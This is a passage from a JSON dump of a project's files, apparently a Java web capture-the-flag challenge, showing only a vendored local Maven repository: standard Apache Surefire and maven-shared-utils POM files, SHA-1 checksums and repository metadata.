<createDependencyReducedPom>true</createDependencyReducedPom>\n              <minimizeJar>true</minimizeJar>\n              <artifactSet>\n                <includes>\n                  <include>commons-io:commons-io</include>\n                </includes>\n              </artifactSet>\n              <relocations>\n                <relocation>\n                  <pattern>org.apache.commons.io</pattern>\n                  <shadedPattern>org.apache.maven.internal.commons.io</shadedPattern>\n                </relocation>\n              </relocations>\n            </configuration>\n          </execution>\n        </executions>\n      </plugin>\n      <plugin>\n        <groupId>org.codehaus.mojo</groupId>\n        <artifactId>findbugs-maven-plugin</artifactId>\n        <configuration>\n          <excludeFilterFile>findbugs-exclude.xml</excludeFilterFile>\n        </configuration>\n      </plugin>\n      <plugin>\n        <groupId>org.apache.rat</groupId>\n        <artifactId>apache-rat-plugin</artifactId>\n        <configuration>\n          <excludes>\n            <exclude>.git/**/*</exclude>\n            <exclude>.idea/**/*</exclude>\n            <exclude>**/.svn/**/*</exclude>\n            <exclude>**/*.iml</exclude>\n            <exclude>**/*.ipr</exclude>\n            <exclude>**/*.iws</exclude>\n            <exclude>**/*.versionsBackup</exclude>\n            <exclude>.gitignore</exclude>\n            <exclude>src/test/resources/directorywalker/**/*</exclude>\n            <exclude>dependency-reduced-pom.xml</exclude>\n          </excludes>\n        </configuration>\n      </plugin>\n    </plugins>\n  </build>\n  <profiles>\n    <profile>\n      <id>reporting</id>\n      <reporting>\n        <plugins>\n          <plugin>\n            <artifactId>maven-checkstyle-plugin</artifactId>\n            <version>2.13</version>\n          </plugin>\n        </plugins>\n      </reporting>\n    </profile>\n  </profiles>\n  <dependencies>\n    <dependency>\n      <groupId>junit</groupId>\n      <artifactId>junit</artifactId>\n      <version>4.11</version>\n      <scope>test</scope>\n    </dependency>\n    <dependency>\n      <groupId>org.hamcrest</groupId>\n      <artifactId>hamcrest-core</artifactId>\n      <version>1.3</version>\n      <scope>test</scope>\n    </dependency>\n    <dependency>\n      <groupId>org.apache.commons</groupId>\n      <artifactId>commons-lang3</artifactId>\n      <version>3.1</version>\n      <scope>test</scope>\n    </dependency>\n    <dependency>\n      <groupId>com.google.code.findbugs</groupId>\n      <artifactId>jsr305</artifactId>\n      <version>2.0.1</version>\n      <scope>compile</scope>\n    </dependency>\n    <dependency>\n      <groupId>org.apache.maven</groupId>\n      <artifactId>maven-toolchain</artifactId>\n      <version>2.2.1</version>\n      <scope>provided</scope>\n      <exclusions>\n        <exclusion>\n          <artifactId>maven-core</artifactId>\n          <groupId>org.apache.maven</groupId>\n        </exclusion>\n        <exclusion>\n          <artifactId>maven-artifact</artifactId>\n          <groupId>org.apache.maven</groupId>\n        </exclusion>\n      </exclusions>\n    </dependency>\n  </dependencies>\n  <distributionManagement>\n    <site>\n      <id>apache.website</id>\n      <url>scm:svn:https://svn.apache.org/repos/infra/websites/production/maven/content/${maven.site.path}</url>\n    </site>\n  </distributionManagement>\n</project>\n\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/shared/maven-shared-utils/0.7/maven-shared-utils-0.7.pom.sha1",
    "content": "4a7c585a051cd9d9553f25b0d616adcb0d800ac5"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/surefire/maven-surefire-common/2.17/_remote.repositories",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Sat Jun 02 10:57:31 CST 2018\nmaven-surefire-common-2.17.jar>central=\nmaven-surefire-common-2.17.pom>central=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/surefire/maven-surefire-common/2.17/maven-surefire-common-2.17.jar.sha1",
    "content": "69b463eab349dcc0ffb002000b831d290a4e9a0d"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/surefire/maven-surefire-common/2.17/maven-surefire-common-2.17.pom",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd\">\n  <parent>\n    <artifactId>surefire</artifactId>\n    <groupId>org.apache.maven.surefire</groupId>\n    <version>2.17</version>\n  </parent>\n  <modelVersion>4.0.0</modelVersion>\n  <artifactId>maven-surefire-common</artifactId>\n  <name>Maven Surefire Common</name>\n  <prerequisites>\n    <maven>2.0.9</maven>\n  </prerequisites>\n  <build>\n    <plugins>\n      <plugin>\n        <artifactId>maven-surefire-plugin</artifactId>\n        <dependencies>\n          <dependency>\n            <groupId>org.apache.maven.surefire</groupId>\n            <artifactId>surefire-shadefire</artifactId>\n            <version>${shadedVersion}</version>\n          </dependency>\n        </dependencies>\n        <configuration>\n          <redirectTestOutputToFile>true</redirectTestOutputToFile>\n        </configuration>\n      </plugin>\n      <plugin>\n        <artifactId>maven-shade-plugin</artifactId>\n        <executions>\n          <execution>\n            <phase>package</phase>\n            <goals>\n              <goal>shade</goal>\n            </goals>\n            <configuration>\n              <minimizeJar>true</minimizeJar>\n              <artifactSet>\n                <includes>\n                  <include>org.apache.maven.shared:maven-shared-utils</include>\n                  <include>org.apache.maven.shared:maven-common-artifact-filters</include>\n                  <include>commons-io:commons-io</include>\n                </includes>\n              </artifactSet>\n              <relocations>\n                <relocation>\n                  <pattern>org.apache.maven.shared</pattern>\n                  <shadedPattern>org.apache.maven.surefire.shade.org.apache.maven.shared</shadedPattern>\n                </relocation>\n                <relocation>\n                  <pattern>org.apache.commons.io</pattern>\n                  <shadedPattern>org.apache.maven.surefire.shade.org.apache.commons.io</shadedPattern>\n                </relocation>\n              </relocations>\n            </configuration>\n          </execution>\n        </executions>\n      </plugin>\n    </plugins>\n  </build>\n  <dependencies>\n    <dependency>\n      <groupId>org.apache.maven</groupId>\n      <artifactId>maven-plugin-api</artifactId>\n      <version>2.0.9</version>\n      <scope>compile</scope>\n    </dependency>\n    <dependency>\n      <groupId>org.apache.maven.plugin-tools</groupId>\n      <artifactId>maven-plugin-annotations</artifactId>\n      <version>3.2</version>\n      <scope>compile</scope>\n    </dependency>\n    <dependency>\n      <groupId>org.apache.maven.surefire</groupId>\n      <artifactId>surefire-api</artifactId>\n      <version>2.17</version>\n      <scope>compile</scope>\n    </dependency>\n    <dependency>\n      <groupId>org.apache.maven.surefire</groupId>\n      <artifactId>surefire-booter</artifactId>\n      <version>2.17</version>\n      <scope>compile</scope>\n    </dependency>\n    <dependency>\n      <groupId>org.apache.maven</groupId>\n      <artifactId>maven-artifact</artifactId>\n      <version>2.0.9</version>\n      <scope>compile</scope>\n    </dependency>\n    <dependency>\n      <groupId>org.apache.maven</groupId>\n      <artifactId>maven-plugin-descriptor</artifactId>\n      <version>2.0.9</version>\n      <scope>compile</scope>\n    </dependency>\n    <dependency>\n      <groupId>org.apache.maven</groupId>\n      <artifactId>maven-project</artifactId>\n      <version>2.0.9</version>\n      <scope>compile</scope>\n    </dependency>\n    <dependency>\n      <groupId>org.apache.maven</groupId>\n      <artifactId>maven-model</artifactId>\n      <version>2.0.9</version>\n      <scope>compile</scope>\n    </dependency>\n    <dependency>\n      <groupId>org.apache.maven</groupId>\n      <artifactId>maven-core</artifactId>\n      <version>2.0.9</version>\n      <scope>compile</scope>\n      <exclusions>\n        <exclusion>\n          <artifactId>wagon-file</artifactId>\n          <groupId>org.apache.maven.wagon</groupId>\n        </exclusion>\n        <exclusion>\n          <artifactId>wagon-webdav</artifactId>\n          <groupId>org.apache.maven.wagon</groupId>\n        </exclusion>\n        <exclusion>\n          <artifactId>wagon-http-lightweight</artifactId>\n          <groupId>org.apache.maven.wagon</groupId>\n        </exclusion>\n        <exclusion>\n          <artifactId>wagon-ssh</artifactId>\n          <groupId>org.apache.maven.wagon</groupId>\n        </exclusion>\n        <exclusion>\n          <artifactId>wagon-ssh-external</artifactId>\n          <groupId>org.apache.maven.wagon</groupId>\n        </exclusion>\n        <exclusion>\n          <artifactId>doxia-sink-api</artifactId>\n          <groupId>org.apache.maven.doxia</groupId>\n        </exclusion>\n        <exclusion>\n          <artifactId>commons-cli</artifactId>\n          <groupId>commons-cli</groupId>\n        </exclusion>\n        <exclusion>\n          <artifactId>plexus-interactivity-api</artifactId>\n          <groupId>org.codehaus.plexus</groupId>\n        </exclusion>\n      </exclusions>\n    </dependency>\n    <dependency>\n      <groupId>org.apache.maven</groupId>\n      <artifactId>maven-toolchain</artifactId>\n      <version>2.0.9</version>\n      <scope>compile</scope>\n    </dependency>\n    <dependency>\n      <groupId>org.apache.commons</groupId>\n      <artifactId>commons-lang3</artifactId>\n      <version>3.1</version>\n      <scope>compile</scope>\n    </dependency>\n    <dependency>\n      <groupId>com.google.code.findbugs</groupId>\n      <artifactId>jsr305</artifactId>\n      <version>2.0.1</version>\n      <scope>provided</scope>\n    </dependency>\n    <dependency>\n      <groupId>junit</groupId>\n      <artifactId>junit</artifactId>\n      <version>3.8.1</version>\n      <scope>test</scope>\n    </dependency>\n  </dependencies>\n</project>\n\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/surefire/maven-surefire-common/2.17/maven-surefire-common-2.17.pom.sha1",
    "content": "80c2a9b0ff022fc61c270ca2f144fff2ac6f8f85"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/surefire/surefire/2.17/_remote.repositories",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Sat Jun 02 10:57:06 CST 2018\nsurefire-2.17.pom>central=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/surefire/surefire/2.17/surefire-2.17.pom",
    "content": "<!--\n  ~ Licensed to the Apache Software Foundation (ASF) under one\n  ~ or more contributor license agreements.  See the NOTICE file\n  ~ distributed with this work for additional information\n  ~ regarding copyright ownership.  The ASF licenses this file\n  ~ to you under the Apache License, Version 2.0 (the\n  ~ \"License\"); you may not use this file except in compliance\n  ~ with the License.  You may obtain a copy of the License at\n  ~\n  ~     http://www.apache.org/licenses/LICENSE-2.0\n  ~\n  ~ Unless required by applicable law or agreed to in writing,\n  ~ software distributed under the License is distributed on an\n  ~ \"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY\n  ~ KIND, either express or implied.  See the License for the\n  ~ specific language governing permissions and limitations\n  ~ under the License. \n  -->\n\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\">\n  <modelVersion>4.0.0</modelVersion>\n\n  <parent>\n    <artifactId>maven-parent</artifactId>\n    <groupId>org.apache.maven</groupId>\n    <version>23</version>\n    <relativePath>../pom/maven/pom.xml</relativePath>\n  </parent>\n\n  <groupId>org.apache.maven.surefire</groupId>\n  <artifactId>surefire</artifactId>\n  <version>2.17</version>\n  <packaging>pom</packaging>\n\n  <name>Apache Maven Surefire</name>\n  <description>Surefire is a test framework project.</description>\n  <url>http://maven.apache.org/surefire</url>\n  <inceptionYear>2004</inceptionYear>\n\n  <contributors>\n    <contributor>\n      <name>Jesse Kuhnert</name>\n    </contributor>\n    <contributor>\n      <name>Marvin Froeder</name>\n      <email>marvin@marvinformatics.com</email>\n    </contributor>\n  </contributors>\n\n  <mailingLists>\n    <mailingList>\n      <name>Surefire User List</name>\n      <post>surefire-users@maven.apache.org</post>\n      <subscribe>surefire-users-subscribe@maven.apache.org</subscribe>\n      <unsubscribe>surefire-users-unsubscribe@maven.apache.org</unsubscribe>\n      <archive>http://mail-archives.apache.org/mod_mbox/maven-surefire-users/</archive>\n      <otherArchives>\n        <otherArchive>http://www.mail-archive.com/surefire-users@maven.apache.org</otherArchive>\n        <otherArchive>http://markmail.org/list/org.apache.maven.surefire-users</otherArchive>\n      </otherArchives>\n    </mailingList>\n    <mailingList>\n      <name>Surefire Developer List</name>\n      <post>surefire-dev@maven.apache.org</post>\n      <subscribe>surefire-dev-subscribe@maven.apache.org</subscribe>\n      <unsubscribe>surefire-dev-unsubscribe@maven.apache.org</unsubscribe>\n      <archive>http://mail-archives.apache.org/mod_mbox/maven-surefire-dev/</archive>\n      <otherArchives>\n        <otherArchive>http://www.mail-archive.com/surefire-dev@maven.apache.org</otherArchive>\n        <otherArchive>http://markmail.org/list/org.apache.maven.surefire-dev</otherArchive>\n      </otherArchives>\n    </mailingList>\n    <mailingList>\n      <name>Surefire Commits List</name>\n      <subscribe>surefire-commits-subscribe@maven.apache.org</subscribe>\n      <unsubscribe>surefire-commits-unsubscribe@maven.apache.org</unsubscribe>\n      <archive>http://mail-archives.apache.org/mod_mbox/maven-surefire-commits/</archive>\n      <otherArchives>\n        <otherArchive>http://www.mail-archive.com/surefire-commits@maven.apache.org</otherArchive>\n        <otherArchive>http://markmail.org/list/org.apache.maven.surefire-commits</otherArchive>\n      </otherArchives>\n    </mailingList>\n  </mailingLists>\n\n  <modules>\n    <module>surefire-shadefire</module>\n    <module>surefire-api</module>\n    <module>surefire-booter</module>\n    <module>surefire-grouper</module>\n    <module>surefire-providers</module>\n    <module>maven-surefire-common</module>\n    <module>surefire-report-parser</module>\n    <module>maven-surefire-plugin</module>\n    <module>maven-failsafe-plugin</module>\n    <module>maven-surefire-report-plugin</module>\n    <module>surefire-setup-integration-tests</module>\n    <module>surefire-integration-tests</module>\n  </modules>\n\n  <scm>\n    <connection>${maven.surefire.scm.devConnection}</connection>\n    <developerConnection>${maven.surefire.scm.devConnection}</developerConnection>\n    <url>https://github.com/apache/maven-surefire/tree/${project.scm.tag}</url>\n    <tag>HEAD</tag>\n  </scm>\n  <issueManagement>\n    <system>jira</system>\n    <url>http://jira.codehaus.org/browse/SUREFIRE</url>\n  </issueManagement>\n  <ciManagement>\n    <system>Jenkins</system>\n    <url>https://builds.apache.org/job/maven-surefire/</url>\n  </ciManagement>\n\n  <properties>\n    <mavenVersion>2.0.9</mavenVersion>\n    <shadedVersion>2.12.4</shadedVersion>\n    <mavenPluginPluginVersion>3.2</mavenPluginPluginVersion>\n\n    <maven.surefire.scm.devConnection>scm:git:https://git-wip-us.apache.org/repos/asf/maven-surefire.git</maven.surefire.scm.devConnection>\n\n    <maven.site.path>surefire-archives/surefire-LATEST</maven.site.path>\n  </properties>\n\n  <distributionManagement>\n    <site>\n      <id>apache.website</id>\n      <url>scm:svn:https://svn.apache.org/repos/infra/websites/production/maven/content/${maven.site.path}</url>\n    </site>\n  </distributionManagement>\n\n  <dependencyManagement>\n    <dependencies>\n      <dependency>\n        <groupId>org.apache.maven.surefire</groupId>\n        <artifactId>surefire-api</artifactId>\n        <version>${project.version}</version>\n      </dependency>\n      <dependency>\n        <groupId>org.apache.commons</groupId>\n        <artifactId>commons-lang3</artifactId>\n        <version>3.1</version>\n      </dependency>\n      <dependency>\n        <groupId>commons-io</groupId>\n        <artifactId>commons-io</artifactId>\n        <version>2.2</version>\n      </dependency>\n      <dependency>\n        <groupId>org.apache.maven.surefire</groupId>\n        <artifactId>surefire-booter</artifactId>\n        <version>${project.version}</version>\n      </dependency>\n      <dependency>\n        <groupId>org.apache.maven.surefire</groupId>\n        <artifactId>surefire-grouper</artifactId>\n        <version>${project.version}</version>\n      </dependency>\n      <dependency>\n        <groupId>org.apache.maven.surefire</groupId>\n        <artifactId>maven-surefire-common</artifactId>\n        <version>${project.version}</version>\n      </dependency>\n      <dependency>\n        <groupId>org.apache.maven.reporting</groupId>\n        <artifactId>maven-reporting-api</artifactId>\n        <version>${mavenVersion}</version>\n      </dependency>\n      <dependency>\n        <groupId>org.apache.maven</groupId>\n        <artifactId>maven-core</artifactId>\n        <version>${mavenVersion}</version>\n        <exclusions>\n          <exclusion>\n            <groupId>org.apache.maven.wagon</groupId>\n            <artifactId>wagon-file</artifactId>\n          </exclusion>\n          <exclusion>\n            <groupId>org.apache.maven.wagon</groupId>\n            <artifactId>wagon-webdav</artifactId>\n          </exclusion>\n          <exclusion>\n            <groupId>org.apache.maven.wagon</groupId>\n            <artifactId>wagon-http-lightweight</artifactId>\n          </exclusion>\n          <exclusion>\n            <groupId>org.apache.maven.wagon</groupId>\n            <artifactId>wagon-ssh</artifactId>\n          </exclusion>\n          <exclusion>\n            <groupId>org.apache.maven.wagon</groupId>\n            <artifactId>wagon-ssh-external</artifactId>\n          </exclusion>\n          <exclusion>\n            <groupId>org.apache.maven.doxia</groupId>\n            <artifactId>doxia-sink-api</artifactId>\n          </exclusion>\n          <exclusion>\n            <groupId>commons-cli</groupId>\n            <artifactId>commons-cli</artifactId>\n          </exclusion>\n          <exclusion>\n            <groupId>org.codehaus.plexus</groupId>\n            <artifactId>plexus-interactivity-api</artifactId>\n          </exclusion>\n        </exclusions>\n      </dependency>\n      <dependency>\n        <groupId>org.apache.maven</groupId>\n        <artifactId>maven-plugin-api</artifactId>\n        <version>${mavenVersion}</version>\n      </dependency>\n      <dependency>\n        <groupId>org.apache.maven.plugin-tools</groupId>\n        <artifactId>maven-plugin-annotations</artifactId>\n        <version>${mavenPluginPluginVersion}</version>\n        <scope>compile</scope>\n      </dependency>\n      <dependency>\n        <groupId>org.apache.maven</groupId>\n        <artifactId>maven-artifact</artifactId>\n        <version>${mavenVersion}</version>\n      </dependency>\n      <dependency>\n        <groupId>org.apache.maven</groupId>\n        <artifactId>maven-plugin-descriptor</artifactId>\n        <version>${mavenVersion}</version>\n      </dependency>\n      <dependency>\n        <groupId>org.apache.maven</groupId>\n        <artifactId>maven-project</artifactId>\n        <version>${mavenVersion}</version>\n      </dependency>\n      <dependency>\n        <groupId>org.apache.maven</groupId>\n        <artifactId>maven-model</artifactId>\n        <version>${mavenVersion}</version>\n      </dependency>\n      <dependency>\n        <groupId>org.apache.maven</groupId>\n        <artifactId>maven-toolchain</artifactId>\n        <version>${mavenVersion}</version>\n      </dependency>\n      <dependency>\n        <groupId>org.apache.maven.shared</groupId>\n        <artifactId>maven-shared-utils</artifactId>\n        <version>0.4</version>\n      </dependency>\n      <dependency>\n        <groupId>org.apache.maven.shared</groupId>\n        <artifactId>maven-verifier</artifactId>\n        <version>1.5</version>\n      </dependency>\n      <dependency>\n        <groupId>jmock</groupId>\n        <artifactId>jmock</artifactId>\n        <version>1.0.1</version>\n        <scope>test</scope>\n      </dependency>\n      <dependency>\n        <groupId>junit</groupId>\n        <artifactId>junit</artifactId>\n        <version>3.8.1</version>\n        <scope>test</scope>\n      </dependency>\n      <dependency>\n        <groupId>com.google.code.findbugs</groupId>\n        <artifactId>jsr305</artifactId>\n        <version>2.0.1</version>\n        <scope>provided</scope>\n      </dependency>\n    </dependencies>\n  </dependencyManagement>\n  <dependencies>\n    <dependency>\n      <groupId>junit</groupId>\n      <artifactId>junit</artifactId>\n      <scope>test</scope>\n    </dependency>\n  </dependencies>\n\n  <build>\n    <pluginManagement>\n      <plugins>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-compiler-plugin</artifactId>\n          <version>2.5.1</version>\n        </plugin>\n        <plugin>\n          <artifactId>maven-surefire-plugin</artifactId>\n          <version>${shadedVersion}</version>\n          <configuration>\n            <!-- NOTE: Be sure to isolate the Surefire version under test from the version running the tests! -->\n            <useSystemClassLoader>false</useSystemClassLoader>\n          </configuration>\n        </plugin>\n        <plugin>\n          <artifactId>maven-release-plugin</artifactId>\n          <version>2.2.1</version>\n          <configuration>\n            <autoVersionSubmodules>true</autoVersionSubmodules>\n            <preparationGoals>clean install</preparationGoals>\n          </configuration>\n        </plugin>\n        <plugin>\n          <artifactId>maven-shade-plugin</artifactId>\n          <version>1.5</version>\n        </plugin>\n        <plugin>\n          <artifactId>maven-plugin-plugin</artifactId>\n          <version>${mavenPluginPluginVersion}</version>\n          <configuration>\n            <skipErrorNoDescriptorsFound>true</skipErrorNoDescriptorsFound>\n          </configuration>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-site-plugin</artifactId>\n          <version>3.3</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-scm-publish-plugin</artifactId>\n          <configuration>\n            <content>${project.build.directory}/staging/${maven.site.path}</content>\n            <checkoutDirectory>${maven.site.cache}/${maven.site.path}</checkoutDirectory>\n            <tryUpdate>true</tryUpdate>\n          </configuration>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.rat</groupId>\n          <artifactId>apache-rat-plugin</artifactId>\n          <configuration>\n            <excludes>\n              <exclude>.git/**/*</exclude>\n              <exclude>**/.idea</exclude>\n              <exclude>**/.svn/**/*</exclude>\n              <exclude>src/test/resources/**/*</exclude>\n              <exclude>**/*.jj</exclude>\n              <exclude>src/test/resources/**/*.css</exclude>\n              <exclude>**/*.iml</exclude>\n              <exclude>**/*.ipr</exclude>\n              <exclude>**/*.iws</exclude>\n              <exclude>**/*.versionsBackup</exclude>\n              <exclude>.gitignore</exclude>\n              <exclude>src/main/resources/META-INF/services/org.apache.maven.surefire.providerapi.SurefireProvider\n              </exclude>\n            </excludes>\n          </configuration>\n        </plugin>\n      </plugins>\n    </pluginManagement>\n  </build>\n\n  <reporting>\n    <plugins>\n      <plugin>\n        <groupId>org.apache.maven.plugins</groupId>\n        <artifactId>maven-project-info-reports-plugin</artifactId>\n        <version>2.7</version>\n        <configuration>\n          <dependencyLocationsEnabled>false</dependencyLocationsEnabled><!-- waiting for MPIR-267 -->\n          <!-- pin down urls to to avoid interpolation in the modules -->\n          <anonymousConnection>${maven.surefire.scm.devConnection}</anonymousConnection>\n          <developerConnection>${maven.surefire.scm.devConnection}</developerConnection>\n        </configuration>\n        <reportSets>\n          <reportSet>\n            <reports>\n              <report>index</report>\n              <report>summary</report>\n              <report>dependency-info</report>\n              <report>modules</report>\n              <report>license</report>\n              <report>project-team</report>\n              <report>scm</report>\n              <report>issue-tracking</report>\n              <report>mailing-list</report>\n              <report>dependency-management</report>\n              <report>dependencies</report>\n              <report>dependency-convergence</report>\n              <report>cim</report>\n              <report>plugin-management</report>\n              <report>plugins</report>\n              <report>distribution-management</report>\n            </reports>\n          </reportSet>\n        </reportSets>\n      </plugin>\n      <plugin>\n        <groupId>org.apache.maven.plugins</groupId>\n        <artifactId>maven-surefire-report-plugin</artifactId>\n        <version>${shadedVersion}</version>\n      </plugin>\n      <plugin>\n        <groupId>org.apache.maven.plugins</groupId>\n        <artifactId>maven-javadoc-plugin</artifactId>\n        <version>2.9.1</version>\n      </plugin>\n      <!-- plugin>\n        <groupId>org.apache.maven.plugins</groupId>\n        <artifactId>maven-plugin-plugin</artifactId>\n      </plugin -->\n\n    </plugins>\n\n  </reporting>\n\n  <profiles>\n    <profile>\n      <id>reporting</id>\n      <build>\n        <pluginManagement>\n          <plugins>\n            <!-- Moving to a profile, since these dependencies won't exist the first\n                 time a new snapshot version is built. This prevents the first\n                 snapshot build from proceeding beyond the build for the top-level \n                 Surefire parent POM.\n            -->\n            <plugin>\n              <groupId>org.apache.maven.plugins</groupId>\n              <artifactId>maven-site-plugin</artifactId>\n              <dependencies>\n                <!-- dependency>\n                  <groupId>org.apache.maven.surefire</groupId>\n                  <artifactId>surefire-shadefire</artifactId>\n                  <version>${project.version}</version>\n                </dependency -->\n              </dependencies>\n            </plugin>\n          </plugins>\n        </pluginManagement>\n      </build>\n    </profile>\n    <profile>\n      <id>m2e</id>\n      <properties>\n        <m2BuildDirectory>target</m2BuildDirectory>\n      </properties>\n      <activation>\n        <property>\n          <name>m2e.version</name>\n        </property>\n      </activation>\n      <build>\n        <directory>${m2BuildDirectory}</directory>\n        <plugins>\n          <plugin>\n            <groupId>org.maven.ide.eclipse</groupId>\n            <artifactId>lifecycle-mapping</artifactId>\n            <version>0.10.0</version>\n            <configuration>\n              <mappingId>customizable</mappingId>\n              <configurators>\n                <configurator id=\"org.maven.ide.eclipse.jdt.javaConfigurator\" />\n                <configurator id=\"org.maven.ide.eclipse.modello.modelloConfigurator\" />\n                <configurator id=\"org.maven.ide.eclipse.plexus.annotations.plexusConfigurator\" />\n              </configurators>\n              <mojoExecutions>\n                <mojoExecution>org.apache.maven.plugins:maven-resources-plugin::</mojoExecution>\n              </mojoExecutions>\n            </configuration>\n          </plugin>\n        </plugins>\n      </build>\n    </profile>\n  </profiles>\n</project>\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/surefire/surefire/2.17/surefire-2.17.pom.sha1",
    "content": "209c1b6bb1fa1fb320f3d72e8b29cb32150d054c"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/surefire/surefire-api/2.17/_remote.repositories",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Sat Jun 02 10:57:32 CST 2018\nsurefire-api-2.17.jar>central=\nsurefire-api-2.17.pom>central=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/surefire/surefire-api/2.17/surefire-api-2.17.jar.sha1",
    "content": "3755b3a3a542bf6e6ba4cdf73e07cc0fa0ddb4f6"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/surefire/surefire-api/2.17/surefire-api-2.17.pom",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd\">\n  <parent>\n    <artifactId>surefire</artifactId>\n    <groupId>org.apache.maven.surefire</groupId>\n    <version>2.17</version>\n  </parent>\n  <modelVersion>4.0.0</modelVersion>\n  <artifactId>surefire-api</artifactId>\n  <name>SureFire API</name>\n  <build>\n    <plugins>\n      <plugin>\n        <artifactId>maven-surefire-plugin</artifactId>\n        <dependencies>\n          <dependency>\n            <groupId>org.apache.maven.surefire</groupId>\n            <artifactId>surefire-shadefire</artifactId>\n            <version>${shadedVersion}</version>\n          </dependency>\n        </dependencies>\n      </plugin>\n      <plugin>\n        <artifactId>maven-shade-plugin</artifactId>\n        <executions>\n          <execution>\n            <phase>package</phase>\n            <goals>\n              <goal>shade</goal>\n            </goals>\n            <configuration>\n              <minimizeJar>true</minimizeJar>\n              <artifactSet>\n                <includes>\n                  <include>org.apache.maven.shared:maven-shared-utils</include>\n                  <include>commons-lang:commons-lang</include>\n                </includes>\n              </artifactSet>\n              <relocations>\n                <relocation>\n                  <pattern>org.apache.maven.shared</pattern>\n                  <shadedPattern>org.apache.maven.surefire.shade.org.apache.maven.shared</shadedPattern>\n                </relocation>\n                <relocation>\n                  <pattern>org.apache.commons.lang</pattern>\n                  <shadedPattern>org.apache.maven.surefire.shade.org.apache.commons.lang</shadedPattern>\n                </relocation>\n              </relocations>\n            </configuration>\n          </execution>\n        </executions>\n      </plugin>\n    </plugins>\n  </build>\n  <dependencies>\n    <dependency>\n      <groupId>junit</groupId>\n      <artifactId>junit</artifactId>\n      <version>3.8.1</version>\n      <scope>test</scope>\n    </dependency>\n  </dependencies>\n</project>\n\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/surefire/surefire-api/2.17/surefire-api-2.17.pom.sha1",
    "content": "abf888f6d436fd75d72a4cb3779c84b76cdb56af"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/surefire/surefire-booter/2.17/_remote.repositories",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Sat Jun 02 10:57:31 CST 2018\nsurefire-booter-2.17.pom>central=\nsurefire-booter-2.17.jar>central=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/surefire/surefire-booter/2.17/surefire-booter-2.17.jar.sha1",
    "content": "47da071ab817b7679db3cf006f2243793e325875"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/surefire/surefire-booter/2.17/surefire-booter-2.17.pom",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<!--\n  ~ Licensed to the Apache Software Foundation (ASF) under one\n  ~ or more contributor license agreements.  See the NOTICE file\n  ~ distributed with this work for additional information\n  ~ regarding copyright ownership.  The ASF licenses this file\n  ~ to you under the Apache License, Version 2.0 (the\n  ~ \"License\"); you may not use this file except in compliance\n  ~ with the License.  You may obtain a copy of the License at\n  ~\n  ~     http://www.apache.org/licenses/LICENSE-2.0\n  ~\n  ~ Unless required by applicable law or agreed to in writing,\n  ~ software distributed under the License is distributed on an\n  ~ \"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY\n  ~ KIND, either express or implied.  See the License for the\n  ~ specific language governing permissions and limitations\n  ~ under the License.\n  -->\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\">\n  <modelVersion>4.0.0</modelVersion>\n\n  <parent>\n    <groupId>org.apache.maven.surefire</groupId>\n    <artifactId>surefire</artifactId>\n    <version>2.17</version>\n    <relativePath>../pom.xml</relativePath>\n  </parent>\n\n  <artifactId>surefire-booter</artifactId>\n\n  <name>SureFire Booter</name>\n\n  <dependencies>\n    <dependency>\n      <groupId>org.apache.maven.surefire</groupId>\n      <artifactId>surefire-api</artifactId>\n    </dependency>\n  </dependencies>\n\n  <build>\n    <plugins>\n      <plugin>\n        <artifactId>maven-surefire-plugin</artifactId>\n        <dependencies>\n          <dependency>\n            <groupId>org.apache.maven.surefire</groupId>\n            